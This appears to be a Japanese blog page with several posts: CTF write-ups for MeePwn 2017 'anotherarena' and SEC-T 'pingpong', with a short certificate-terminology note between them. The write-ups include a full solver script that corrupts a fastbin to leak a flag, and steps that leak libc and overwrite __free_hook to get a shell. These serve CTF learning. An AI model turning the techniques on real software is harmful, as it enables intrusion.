anotherarena (MeePwn CTF 1st 2017) のwriteup

https://ctftime.org/task/4313
MeePwn CTF 1st 2017 の anotherarenaです。
例によって上手い人に教えてもらいました。その節はありがとうございました。

概要

戻した擬似コード(ほぼC)

int size;

int main(){
  uint_64t newthread; //ほんとは pthread_t *
  uint_64t th;        
  uint_64t thread_return;
  uint_32t fd;

  // flagファイルをbssに読み込む
  fd = open("/home/anotherarena/flag", 0);
  offset_flag = 0x602101
  read(fd, offset_flag, 0x80);
  close(fd); 

  //1回目のスレッドでの作業でmallocで確保するサイズの取得
  size = read_malloc_size();

  //1回目のスレッドでの作業
  pthread_create(newthread, NULL, recv, NULL);
  pthread_join(newthread, thread_return);

  //2回目のスレッドでの作業, こちらがメイン
  pthread_create(th, NULL, start_routine, thread_return);
  pthread_join(th, NULL);

  return 0;
}

int read_malloc_size(){
  char *buf;
  read(stdin, buf, 8);
  return atoi(buf);
}

void* recv(){
  return malloc(size);
}

void start_routine(void *chunk){
  int residual_byte_count;
  int input_offset;
  int *input_cursor;
  void *chunk_head;

  chunk_head = chunk;
  input_cursor = chunk;
  residual_byte_count = size;

  //オフセットを入力し、chunk_head[input_offset]を書き換えられる
  while(residual_byte_count != 0){
    //オフセットの読み込み
    read(stdin, input_cursor, 4);
    input_offset = *input_cursor;
    input_cursor++; //4byte進める
    residual_byte_count -= 4;  //オフセットをchunkに読み込んだ分減る.

    //4バイトより残りが少なくなったか、オフセットがでかすぎたら中止
    if ((residual_byte_count <=3) || (input_offset > residual_byte_count) )  break

    read(stdin, *chunk_head[input_offset], 4);

    residual_byte_count -= 4;  //chunk[inputted_offset]に読み込んだ分減る.
  }

  int sum;
  int current_offset;
  void *buf_to_print;
  void *current_item;
  int size_buf_to_print; //qwordとして確保されているがuint_32tとしてしか使われないっぽい

  sum = 0;
  current_offset = 0;

  //chunkの中身を呼んで総和を取る
  while(current_offset < size){
    current_item = (int) chunk_head[current_offset];
    sum += current_item;
    current_offset++;
  }

  //好きなサイズを入力し,好きな内容を書き込める
  size_buf_to_print = read_malloc_size();
  buf_to_print = malloc(size_buf_to_print);
  read(stdin, buf_to_print, size_buf_to_print);

  //ここがライセンスチェックとかsecret_keyチェックとか呼んだとこ
  if(sum != 0x0c0c0aff6){
    puts("Bad b0y!");
  }else{
    printf("Good boy! Your license: %sn", buf_to_print);
  }  

  return;
}

start_routineのIDAメモ

エクスプロイトの手順

概要

  1. あとのmallocでflagの手前あたりの位置を返すための仕込み
  2. 1スレッド目、mallocで確保するサイズとして0x7fを渡し、chunkを確保. 0x7fはグローバル変数sizeに格納されるのでbssにいる
  3. 2スレッド目、input_offsetに負の値を入れ、chunk_head[input_offset]が、chunk_headの指す先より前にある,main_arenaじゃないarenaのmalloc_state構造体のfastbinsYの0x70サイズのところを指すようにする
  4. 上記のfastbinsYの0x70サイズのリンクリストのヘッダがbssのsize変数がある一つ上(0x8だけ上)を指すようにする
  5. secret_keyチェックを合格するための仕込み
  6. input_offsetに0を入れる。
  7. chunk_head[input_offset=0] に secret_key – 0x80を入れる
  8. input_offsetに0x80を入れ、ループを脱出する
  9. mallocでflagの手前あたりを確保したら、そこからflagまで一続きにprintするための仕込み
  10. mallocしたときにサイズ0x70を担当するfastbinsから割り当ててもらうために、少し小さい0x60を渡しmallocさせ、print_bufを確保する
  11. サイズ0x70を担当するfastbinsを書き換えておいたのでprint_bufは、bss上の良い感じの位置から確保された。flagまで読み出せるように、flagまで隙間なく’A’で埋める
  12. printすると末尾にflagも一緒についてくる!

あとのmallocでflagの手前あたりの位置を返すための仕込み

擬似コードを読めばわかるが、まずbssにflagファイルを読み込んでいる。
そのあと、入力したサイズ分だけchunkを確保し、オフセットを入力させそこを書き換えている。

mainarenaは書き換えるのに労力がいるらしいが、今回は別なthreadの中なのでmallocが使うarenaはmainarenaではない。このようなarenaの場合、arenaの管理用構造体、mallocstate構造体の後ろからmallocで確保されてゆく。つまり、mallocで確保されたchunkの前にarenaの管理用構造体、mallocstate構造体がある。
しかもオフセットは最大値側のバウンダリチェックしかしていないので、負の値が入る. 負の値を入れればchunkの前側にいるmalloc_state構造体を書き換えることができる。

malloc_state構造体の中のfastbinsYとかいうのを書き換えて、次にmallocしたときに所望の位置が返ってくるようにできる。

その所望の位置は…bssの、flagファイルが読み込まれたあたりである。

ちなみになんで0x70がターゲットとなったのかは不明。

mallocで0x7fぶん確保する

https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c

2151          assert (fastbin_index (chunksize (p)) == i);

のとおり、chunksize()ではLSB側3bitがマスクされ、fastbin_index()ではx64の場合右に4bitシフトされ-2され、結果的にサイズ0x70を担当するfastbinsのインデックス, 0x5になる。そのため、結果的に0x5になるものであればなんでも良いが0x7fとする。

(なんでも良いが0x7f以外だとなんだかよくわからないが失敗する…らしい. 0x70のfastbinを使うのは大きさがちょうどよいから?ヨクワカリマセン)

mallocstate構造体のfastbinsYを指すようにinputoffsetを入力する

x64のlinuxではfastbinsは0x10バイト刻みに、0x20からfastbinsが用意されている。0x70を担当するのは、インデックスが0x5,つまり6番目のfastbinである。
chunk_headからのオフセットを計算するために、まずここのアドレスを調べる。

gdb-peda$ p main_arena
$8 = {
  mutex = 0x0, 
  flags = 0x1, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x603120, 
  last_remainder = 0x0, 
  bins = {0x7ffff7bb4b78 <main_arena+88>, 0x7ffff7bb4b78 <main_arena+88>, ...}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7ffff0000020, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x21000, 
  max_system_mem = 0x21000
}

これのnextが見たいarena.

gdb-peda$ p (struct malloc_state)*0x7ffff0000020

とやる。よくみれば0x7ffff0000050がfatbinsYの6番目だとわかる。

gdb-peda$ set {char}0x7ffff0000050=42

とかやるとfatbinsYの6番目が書き換わったのが確認できる。

なのでinput_offsetは(0x7ffff0000050 – 0x7ffff0000020)にすればよい. これでchunk_head[input_offset]はfatbinsYの6番目を指す.

malloc_state構造体のfastbinsYを、bssエリアのflagのちょっと前を指すように書き換える

flagファイルがロードされた位置をbssエリアを表示させ確認する.bssエリアのアドレスはgdb-peda$ readelfでわかる.

gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087 
0008| 0x6020a8 --> 0x0 
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b 
0024| 0x6020b8 --> 0x0 
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087 
0040| 0x6020c8 --> 0x0 
0048| 0x6020d0 --> 0x0 
0056| 0x6020d8 --> 0x0                                              ; pseudo_chunkのhead.   prev_sizeになる
0064| 0x6020e0 --> 0x7f                                             ; pseudo_chunkのsizeとして読まれる
0072| 0x6020e8 --> 0x0                                              ; これ以降はpseudo_chunkのcontentsになる
0080| 0x6020f0 --> 0x0 
0088| 0x6020f8 --> 0x0 
0096| 0x602100 --> 0xa2167616c662100 ('')                           ;= flag!!!!
0104| 0x602108 --> 0x0 
0112| 0x602110 --> 0x0 

なお、mallocで確保されるチャンクは以下のようになっている. sizeのチェックが入るので, 正しい値(今回は冒頭で説明したように0x7f)を入れなくてはならない.

          |prev_size|
          |size     |
<- malloc |contents |
          | ...     |

なので、上のbssエリアを表示させた例についてるコメントのように, 0x7fが入ってるとこの一つ上, 0x6020d8をfastbinsYのサイズ0x70を担当するところに書き込む.
こうすれば次に, サイズ0x70(に収まるもの)をmallocで要求したときに, そこのアドレスを返してくれる.

secret_keyチェックに合格するための仕込み

擬似コードを読めばわかるが、chunkの中身の総和をとり、それをsecret_key, 0x0c0c0aff6と比較して、等しいかどうかで分岐している. 合格しないとBad b0y!が表示されるだけ.
flagファイルがロードされたところをプリントするためには、まずこれに合格しなければならない.

ここまでで、chunkは以下のようになっている.(ちなみに0xfffff790はchunk_headからfastbinsYの6番目までのオフセット、0x7ffff0000050 – 0x7ffff0000020を計算したもの.)

input_cursor(上位4バイトを指す), chunk_head   -> |0x00000000fffff790|
                                              |0x0000000000000000| 
                                              |0x0000000000000000|  

                                          ..  (全体で0x7fのサイズ)...

                                              |0x0000000000000000| 

chunk全体の総和が0x0c0c0aff6になるように頑張る.

input_offsetに0を入れる。

擬似コードを読めばわかるが、オフセットとして入力したものはinput_cursorが指している先に書き込まれる.

chunk_head   ->                  |0x00000000fffff790|
input_cursor(下位4バイトを指す) ->  |0x0000000000000000|    
                           |0x0000000000000000|                
                                 ...(全体で0x7fのサイズ)...

                                  |0x0000000000000000|

chunk_head[input_offset=0] に secret_key – 0x80を入れる

chunk_head   ->                  |0x0c0c0aff6 - 0x80|
input_cursor(下位4バイトを指す) ->  |0x0000000000000000|    
                           |0x0000000000000000|                
                                 ...(全体で0x7fのサイズ)...

                                  |0x0000000000000000|

input_offsetに0x80を入れ、ループを脱出する

大きい方の境界チェックはあるので、0x7fより大きい0x80を入れることでループがとまる. このときchunkに余計な0x80が入るので、さっき入れたのはその分を引いたsecret_key – 0x80だったというわけ.

chunk_head   ->                  |0x0c0c0aff6 - 0x80|
input_cursor(上位4バイトを指す) ->  |0x0000000000000080|    
                           |0x0000000000000000|                
                                 ...(全体で0x7fのサイズ)...

                                  |0x0000000000000000|

これでchunkの総和が0x0c0c0aff6に等しくなった.

mallocでflagの手前あたりを確保したら、そこからflagまで一続きにprintするための仕込み

擬似コードを読めばわかるが,最後にprintf(“Good boy! Your license: %sn”, buf_to_print);でbuf_to_printを表示させている. 上までの仕込みのおかげで、buftoprintをmallocで確保するときにサイズを0x60にすると、bssエリアのflagが読み込まれている少し前の位置のアドレスがmallocの戻り値となる.
よって、buf_to_printの中身をうまいことやれば、flagまでリークできる.

mallocしたときにサイズ0x70を担当するfastbinsから割り当ててもらうために、少し小さい0x60を渡しmallocさせ、print_bufを確保する

擬似コードを読めばわかるが, ループを抜けた後、chunkの総和を計算した後、size_buf_to_printを入力させ、buf_to_printを確保する.
その際、mallocに, 0x60を渡すと、サイズ0x70を担当するfastbinsから割り当ててくれる.

gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087 
0008| 0x6020a8 --> 0x0 
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b 
0024| 0x6020b8 --> 0x0 
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087 
0040| 0x6020c8 --> 0x0 
0048| 0x6020d0 --> 0x0 
0056| 0x6020d8 --> 0x0                                              ; pseudo_chunkのhead. prev_sizeになる
0064| 0x6020e0 --> 0x7f                                             ; pseudo_chunkのsizeとして読まれる
0072| 0x6020e8 --> 0x0                                              ; これ以降はpseudo_chunkのcontentsになる. !!!!!ココが今回のmallocの戻り値となる!!!!!
0080| 0x6020f0 --> 0x0 
0088| 0x6020f8 --> 0x0 
0096| 0x602100 --> 0xa2167616c662100 ('')                           ;= flag!!!!
0104| 0x602108 --> 0x0 
0112| 0x602110 --> 0x0 

buftoprintからflagまで読み出せるように、flagまで隙間なく’A’で埋める

サイズ0x70を担当するfastbinsを書き換えておいたのでprint_bufは、bss上の良い感じの位置から確保された。 flagとの間に0があるので、printf(“Good boy! Your license: %sn”, buf_to_print);のときにそこで止まってしまう…ということは、flagの位置まで’A’などで埋めれば途切れることなくそこまで読み出せる.
なのでflagの位置(0x602101)とのオフセットを計算し、0x602101 – 0x6020e8個の’A’をbuftoprintに書き込む.

gdb-peda$ tele 0x6020a0 20
0000| 0x6020a0 --> 0x7ffff7bb5620 --> 0xfbad2087 
0008| 0x6020a8 --> 0x0 
0016| 0x6020b0 --> 0x7ffff7bb48e0 --> 0xfbad208b 
0024| 0x6020b8 --> 0x0 
0032| 0x6020c0 --> 0x7ffff7bb5540 --> 0xfbad2087 
0040| 0x6020c8 --> 0x0 
0048| 0x6020d0 --> 0x0 
0056| 0x6020d8 --> 0x0                                              ; pseudo_chunkのhead. prev_sizeになる
0064| 0x6020e0 --> 0x7f                                             ; pseudo_chunkのsize
0032| 0x6020e8 ('A' <repeats 25 times>, "!flag!n")                 ; これ以降はpseudo_chunkのcontentsになる. !!!!!ココが今回のmallocの戻り値となる!!!!! buf_to_printが指す位置.
0040| 0x6020f0 ('A' <repeats 17 times>, "!flag!n")
0048| 0x6020f8 ("AAAAAAAAA!flag!n")
0056| 0x602100 ("A!flag!n")                                        ;= flag!!!!
0072| 0x6020e8 --> 0x0                                              
0088| 0x6020f8 --> 0x0 
0096| 0x602100 --> 0xa2167616c662100 ('')                           
0104| 0x602108 --> 0x0 
0112| 0x602110 --> 0x0 

おしまい

Good boy! Your license: AAAAAAAAAAAAAAAAAAAAAAAAA!flag!

スクリプト

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

# def p(a): return struct.pack("<I",a)
# def u(a): return struct.unpack("<I",a)[0]

def p(a): return struct.pack("<Q",a)
def u(a): 
    return struct.unpack("<Q",a.ljust(8, "") )[0]

def p32s(a): return struct.pack("<i",a)
def p32(a): return struct.pack("<I",a)

def invert(st):
    ans = []
    for ind in range(len(st)):
        if ind % 2 == 0:
            ans.append( chr(  ord(st[ind]) ^ 0x20)  )
            print( chr( ord(st[ind]) ^ 0x20 ) )
        else:
            ans.append(chr( ord(st[ind]) ))
            print( chr( ord(st[ind]) ))
    return "".join(ans)

# -- subroutine--

# --- main ---
s, f = sock("localhost", 1025)    # 接続


# *** 1つ目のthread ***
# ひとつ目のthreadでmallocするサイズを指定
chunk_size = 0x7f # なんでもよい, fastbinsのために良いサイズにしておく0x7fとか. 
f.write(str(chunk_size).ljust(8, 'x00')) # 8bytes よみこみ

# *** 2つ目のthread ***

addr_chunk              = 0x7ffff00008c0
addr_fastbins_size_0x70 = 0x7ffff0000050
offset_to_fastbins_size_0x70 = addr_fastbins_size_0x70 - addr_chunk

# index
f.write( p32s(offset_to_fastbins_size_0x70) ) # 4bytest よみこみ readは0でくぎってくれない
# sleepをいれてやることでも くぎれる

# なかみ. 偽のchunkを渡す。chunk->sizeがさっきbssに入れた0x7fの場所にくるような位置にする
pseude_chunk = 0x6020d8
f.write(p32s(pseude_chunk))

# index, liscenseの計算が面倒にならないように、もういちどchunkの先頭をささせて書き換えておくため
f.write(p32s(0))

secret_key = 0x0C0C0AFF6
final_offset = 0x80
# なかみ, liscenseチェックをクリアできるようにつじつまあわせ
f.write(p32(secret_key -final_offset))

# index. invalidなほどでかい値を入れる. これはchunkの入力場所の後ろに確保されるのでliscense計算に入ってしまう、のでさっきliscenseの値から引いておいた
f.write(p32s(final_offset) )

# ここでループ脱出


# **ライセンスチェック前**

# mallocのサイズ
f.write(str(0x60).ljust(8, "x00") ) # fastbinsは0x10きざみ,0x70のfastbinsからほしいのでこうする,少し小さめの0x60にすると0x70のbinからくるらしい


# flagまでつめものをする. そうするとflagとの間に一個もnull文字が入らないのでflagまでgood_boyのbranchにあるprintfで読み出せる
addr_flag = 0x602101
pseude_chunk_nakami = pseude_chunk + (0x8*2)
offset_to_flag = addr_flag - pseude_chunk_nakami

f.write("A" * (offset_to_flag) ) 

shell(s)

ルート証明書と、自己署名証明書や自己発行証明書の違い

ネスペの勉強していてルート証明書と自己署名証明書を間違えた。

Wikipediaによると

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘.Hiragino Kaku Gothic Interface’}
span.s1 {color: #dca10d}
span.s2 {font: 12.0px ‘Helvetica Neue’}

「自己署名証明書とは、自分の秘密鍵でそれに対応する公開鍵に署名した証明書のことである。自分の秘密鍵で署名していても、認証局が識別名を変更したときに発行することがあるネーム・ロールオーバー証明書のような識別名が異なる証明書は、ルート証明書ではない。自己発行証明書とは、発行者と主体者が同じ実体である公開鍵証明書のことである。自分自身に発行しても、他の秘密鍵で署名された自己発行証明書(認証局が鍵を更新したときに発行するキー・ロールオーバー証明書や、CRLの署名用に別の鍵対を使うときなどに発行する証明書)は、ルート証明書ではない。」

とのこと。

RFC5280の第3章2節によると

 Self-issued certificates(自己発行証明書) are CA certificates in which the issuer and subject are the same entity. Self-issued certificates are generated to support changes in policy or operations. Self- signed certificates(自己署名証明書) are self-issued certificates where the digital signature may be verified by the public key bound into the certificate. Self-signed certificates are used to convey a public key for use to begin certification paths. 

とのこと。

つまり、

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘.Hiragino Kaku Gothic Interface’}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘Helvetica Neue’; min-height: 14.0px}
span.s1 {font: 12.0px ‘Helvetica Neue’}

  • 自己署名証明書 = 署名する(される?)公開鍵に対応した秘密鍵で署名した証明書(発行者≠主体者でもよい)
  • 自己発行証明書 = 発行者と主体者が同じ実体である公開鍵証明書(使う秘密鍵が署名する公開鍵とペアになるものでなくてもよい)

「ルート証明書は自己署名証明書かつ自己発行証明書」 ということらしい

SEC-T CTF pingpong のwriteup

概要

https://ctftime.org/task/6618
SEC-T CTFというので出題されたpingpongという問題。

ササッと解いた上手な人に教えてもらいました。
(bloggerに導入したmarkdownで書いたコードブロックは表示がよくなくて、見づらくてすみません)

デバッグの準備

gdb pedaでstartするとなぜかNo unwaited-for children left.中止 (コアダンプ)となるので、一旦runして途中まで進めて、そんで中断してからもう一回startするとなぜか大丈夫なのでgdb単体で実行するときはそうする。

これに限らずリモートデバッグした方がよい(らしいです。)

リモートデバッグのやりかた

最初はgdbで実行だが、
あとはリモートデバッグすべき
gdb -xでスクリプトを実行できるので、そのスクリプトに見たい位置にbreakpointを仕掛けてrunするようなコマンドを書いておけばよい

ファイル:cmd

file ./pingpong
target remote localhost:1234
start
c

ファイル:debug.sh

gdbserver localhost:1234 ./pingpong

いつものとおり

リモートサーバたてる

socat TCP-LISTEN:1025,reuseaddr,fork exec:./debug.sh

ソルバスクリプトでペイロードを送信したりいろいろする

python solver.py
中身テンプレート

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

# def p(a): return struct.pack("<I",a)
# def u(a): return struct.unpack("<I",a)[0]

def p(a): return struct.pack("<Q",a)
def u(a): 
    return struct.unpack("<Q",a.ljust(8, "\0") )[0]

def invert(st):
    ans = []
    for ind in range(len(st)):
        if ind % 2 == 0:
            ans.append( chr(  ord(st[ind]) ^ 0x20)  )
            print( chr( ord(st[ind]) ^ 0x20 ) )
        else:
            ans.append(chr( ord(st[ind]) ))
            print( chr( ord(st[ind]) ))
    return "".join(ans)

# --- main ---
s, f = sock("localhost", 1025)    # 接続

# ここでなにかする
#f.write("<payload>")
#read_until(f)
#f.read(4)
#shell(s)

中身の見方( mainへの飛び方 )

ストリップされているのでgdb-peda$ break mainとかできない
IDAか何かでstartからmainに飛ぶとこを見てmainのアドレス(のオフセット、今回は0x0c43)を調べる
次にgdb-peda$ vmmapでテキストエリアのベースアドレス(今回は0x0000555555554000)を調べる。
足してmainのアドレスになるのでブレークポイントを仕掛ける。b *0x0000555555554000+0x0c43
そしてrunなりcontinueなりする

ちなみにメモリマップ

gdb-peda$ vmmap
Start              End                Perm Name
0x0000555555554000 0x0000555555556000 r-xp /media/sf_work/pingpong
0x0000555555755000 0x0000555555756000 r--p /media/sf_work/pingpong
0x0000555555756000 0x0000555555757000 rw-p /media/sf_work/pingpong
0x0000555555757000 0x0000555555778000 rw-p [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd3000 0x00007ffff7fd6000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]

処理の中身を読んでいく

今までgdb-pedaとradar2だけで読んでいたが、CLIだけで読むより、適材適所ということで読むときはIDAを使うべきかもしれない。
なので下手な英語で変数名とかコメントとかなんか色々名前つけてわかりやすくした、IDAのファイル(ダウンロードリンク)を見てもらった方が早い。

以下、命令の横に書いてあるアドレスはASLRオフ時の自分の環境の話 (gdb-peda$ vmmpaで見たテキストエリアのベースアドレス0x0000555555554000を差し引くと元のプログラムのアドレスになる)

画像と説明はあんまり対応していない(IDAの画像は変数や関数の名前変えちゃってる)ので画像の方だけみたほうがわかりやすいと思われます

main関数

ロゴの表示( print_logo )

0x555555554c73: call 0x555555554af9(print_logo)
がpingpongのロゴの表示
別に見るところないので省略

メインであるpingやpongの処理 ( pingpong_loop )

0x555555554c7d: call 0x555555554b93(pingpong_loop)
ping:で入力受け付けたりpong:でなんか表示したりする、メインの処理を行う

pingやpongの処理 ( pingpong_loop )

pingとpongをループして処理している

pingの中身 (get_ping_char_and_proccess)

引数は1つ、スタック上のバッファのアドレス。0x7fffffffdb40

文字入力受付

0x555555554a5b: call 0x555555554810
で1文字ずつ入力を受ける。</getchar@plt>

0x555555554a63: cmp BYTE PTR [rbp-0x19],0xff
0x555555554a69: cmp BYTE PTR [rbp-0x19],0xa
で、$rbp-0x19に格納された1文字を0xff(ASLRオフ時のlibcとかのアドレスは0xffが沢山入るので、それをハネるためのイジワル?)0x0a(改行)と比較している
もし0xffでも0x0aでもないなら、またgetcharで一文字受け付ける

終わったら入力文字の長さをチェックする
0x555555554a76: call 0x5555555547e0 </strlen@plt>

23文字のaを入力し、starlenの結果は0x17 = 23になる

つづくmallocのあたりではスタックからヒープに移す準備…
0x555555554a83: call 0x555555554820 </malloc@plt>

偶数番目の文字を大文字(というか0x20とのXOR)

0x555555554a98: and eax,0x1
インデックスのLSB 1bitを見て、偶数と奇数で処理を分ける

0x555555554ac1: xor eax,0x20
インデックスが偶数の場合、0x20とasciiコードのXORをとる。アルファベットなら大文字と小文字が反転することになる。

0x555555554c1b: call 0x555555554800
プリント </printf@plt>

いろいろやったらまた
0x555555554be0: lea rdi,[rip+0x6ae]
に戻ってループ

IDAのファイル(ダウンロードリンク)見てもらったほうが早いが、 ヌル文字で終端させていない
後述の、スタック上のバッファ周りを見てもらうと、スタックの下の方(=メモリアドレス大の方)にちょうどよくlibcの関数(_IO_puts+362)のポインタと、その次に0x0が来ているのがわかる。
これによってうまいことやると、libcの関数のポインタの中身をリークさせることができる。

エクスプロイト

  1. 1回目のping:
  2. ping:のときに入力を受け付けるバッファの後ろ(メモリアドレス大の方)に0x7fffffffdbc8 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp eax,0xffffffff)があるので、それをリークさせる
  3. 出力されたデータは1バイトとびに0x20とXORを取られているので同じことして戻す
  4. そこからlibcのベースアドレスを計算(libcはどれ使うか既知)
  5. 2回目のping:
  6. __free_hookの位置を、さっき求めたlibcのベースアドレスと、事前にASLRオフの状態gdb-peda$ p $__free_hookで検索したアドレスと、libcのベースアドレスから、オフセットを求めておき、__free_hookのランダマイズ後のアドレスを計算する
  7. 「入力した文字が格納される場所」を指すポインタが、「入力した文字が格納される場所」より後方(メモリアドレス大の方、スタックでは下の方)にあるので、「入力した文字が格納される場所」をオーバーフローさせて「入力した文字が格納される場所」を指すポインタを、__free_hookを指すように書き換える
  8. 3回目のping:
  9. __free_hookのアドレスを書き換えて、one_gadget(運がよけりゃ一発でシェルを起動できる)のアドレスにする
  10. 文字入力のping:ののちfreeが呼ばれる場所があるので、そのときに__free_hookが呼ばれてシェル起動
  11. 幸せ

となる

1. リークについて

入力を格納しておくバッファを見る

文字をに入力完了後…


gdb-peda$ tele 0x7fffffffdc40 16
0000| 0x7fffffffdc40 ('a' <repeats 23 times>)
0008| 0x7fffffffdc48 ('a' <repeats 15 times>)
0016| 0x7fffffffdc50 --> 0x61616161616161 ('aaaaaaa')
0024| 0x7fffffffdc58 --> 0x7fffffffdc6f --> 0x57ccc 
0032| 0x7fffffffdc60 --> 0x7fffffffde10 --> 0x1 
0040| 0x7fffffffdc68 --> 0xcc007fffffffdc7f 
0048| 0x7fffffffdc70 --> 0x57c 
0056| 0x7fffffffdc78 --> 0xcc007ffff7dd2620 
0064| 0x7fffffffdc80 --> 0x555555554d18 --> 0x96e2202020202020 
0072| 0x7fffffffdc88 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp    eax,0xffffffff)
0080| 0x7fffffffdc90 --> 0x0 
0088| 0x7fffffffdc98 --> 0x7fffffffdcc0 --> 0x7fffffffdcf0 --> 0x7fffffffdd30 --> 0x555555554c90 (push   r15)
0096| 0x7fffffffdca0 --> 0x555555554860 (xor    ebp,ebp)
0104| 0x7fffffffdca8 --> 0x55555555498d (nop)
0112| 0x7fffffffdcb0 --> 0x7fffffffefec --> 0x70676e69702f2e00 ('')

(オフセット`0x7fffffffdbc8 – 0x7fffffffdc40`を計算して同じバイト数だけ’a’を送って)リークしようとしたあと


gdb-peda$ tele 0x7fffffffdb80 20
0000| 0x7fffffffdb80 ('a' <repeats 72 times>, "\372ǧ\367\377\177")
0008| 0x7fffffffdb88 ('a' <repeats 64 times>, "\372ǧ\367\377\177")
0016| 0x7fffffffdb90 ('a' <repeats 56 times>, "\372ǧ\367\377\177")
0024| 0x7fffffffdb98 ('a' <repeats 48 times>, "\372ǧ\367\377\177")
0032| 0x7fffffffdba0 ('a' <repeats 40 times>, "\372ǧ\367\377\177")
0040| 0x7fffffffdba8 ('a' <repeats 32 times>, "\372ǧ\367\377\177")
0048| 0x7fffffffdbb0 ('a' <repeats 24 times>, "\372ǧ\367\377\177")
0056| 0x7fffffffdbb8 ('a' <repeats 16 times>, "\372ǧ\367\377\177")
0064| 0x7fffffffdbc0 ("aaaaaaaa\372ǧ\367\377\177")
0072| 0x7fffffffdbc8 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp    eax,0xffffffff)
0080| 0x7fffffffdbd0 --> 0x0 

確かめる…aaa...のお尻についているものは、ヌル文字まで読むとたしかに_IO_puts+362のアドレスが入るのでこれをprintすればリークできると確認できる。

gdb-peda$ x/32bx 0x7fffffffdbc0
0x7fffffffdbc0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0x7fffffffdbc8: 0xfa 0xc7 0xa7 0xf7 0xff 0x7f 0x00 0x00
0x7fffffffdbd0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdbd8: 0x00 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00

2. バッファオーバーフロー

先のIDAファイルで関数pingpong_loopからget_ping_char_and_processを呼んだあとスタックを見る…

gdb-peda$ stack 0x28
0000| 0x7fffffffdb30 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)
0008| 0x7fffffffdb38 --> 0x555555554bfd (mov    QWORD PTR [rbp-0x10],rax)
0016| 0x7fffffffdb40 --> 0x57c
0024| 0x7fffffffdb48 --> 0xcc007ffff7dd2620
0032| 0x7fffffffdb50 --> 0xa ('\n')
0040| 0x7fffffffdb58 --> 0x7fffffffdb6f --> 0x57ccc
0048| 0x7fffffffdb60 --> 0x7fffffffdd10 --> 0x1
0056| 0x7fffffffdb68 --> 0xcc007fffffffdb7f
0064| 0x7fffffffdb70 --> 0x57c
0072| 0x7fffffffdb78 --> 0xcc007ffff7dd2620
0080| 0x7fffffffdb80 --> 0x555555554d18 --> 0x96e2202020202020
0088| 0x7fffffffdb88 --> 0x7ffff7a7c7fa (<_IO_puts+362>: cmp    eax,0xffffffff)
0096| 0x7fffffffdb90 --> 0x0
0104| 0x7fffffffdb98 --> 0x7fffffffdbc0 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)
0112| 0x7fffffffdba0 --> 0x555555554860 (xor    ebp,ebp)
0120| 0x7fffffffdba8 --> 0x55555555498d (nop)
0128| 0x7fffffffdbb0 --> 0x7fffffffefec --> 0x70676e69702f2e00 ('')
0136| 0x7fffffffdbb8 --> 0xd9206eb282fc4d00
0144| 0x7fffffffdbc0 --> 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)
0152| 0x7fffffffdbc8 --> 0x555555554b7c (nop)
0160| 0x7fffffffdbd0 --> 0x7fffffffdd28 --> 0x7fffffffe0fe --> 0x0
